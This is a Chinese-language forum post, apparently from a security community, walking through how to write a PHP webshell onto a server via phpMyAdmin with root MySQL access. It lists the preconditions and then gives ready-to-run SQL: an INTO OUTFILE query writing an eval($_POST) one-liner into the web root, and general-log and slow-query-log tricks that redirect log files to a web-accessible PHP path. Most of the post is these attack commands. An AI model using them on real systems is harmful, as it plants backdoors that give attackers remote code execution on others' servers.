77
257
中级会员
几个必要的前提条件 1.secure_file_priv不为NULL或者指定路径 2.phpmyadmin所在目录的拥有者对其他目录有读写权限 3.全局gpc关闭 (mysql-5.3.29以上默认关闭) 4.root权限(这里指的是登录数据库的用户) 5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看) into outfile()方式: 查询执行语句SELECT '<?php @eval($_POST[cmd]);?>' into OUTFILE '/home/wwwroot/default/ruchong.php' 该语句的作用就是写入一句话到网站根目录下 详情自己百度 日志方式 日志方式的写入有两种 全局日志以及慢日志 不过具体用法差不多 实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中 那假如你指定的是一个php文件并且你查询的语句为一句话木马呢? 全局日志: 首先查询是否开启了全局日志记录 show variables like '%general%'; 查看是否开启 set global general_log = on; #未开启就手动开启general log 模式 set global general_log_file = 'web可访问目录' #设置日志目录为shell地址 SELECT '<?php @eval($_POST[cmd]);?>' #执行查询 即写入到日志文件 慢日志: #查询慢日志状态 show variables like '%slow_query_log%'; #查询mysql系统时间 show global variables like '%long_query_time%'; #根据时间 设置超时 select '<?php @eval($_POST[1]);?>' or sleep(11); 设置查询时间为11s
使用道具 举报
本版积分规则 发表回复 回帖后跳转到最后一页
小黑屋|安全矩阵
GMT+8, 2024-11-29 06:38 , Processed in 0.013634 second(s), 18 queries .
Powered by Discuz! X4.0
Copyright © 2001-2020, Tencent Cloud.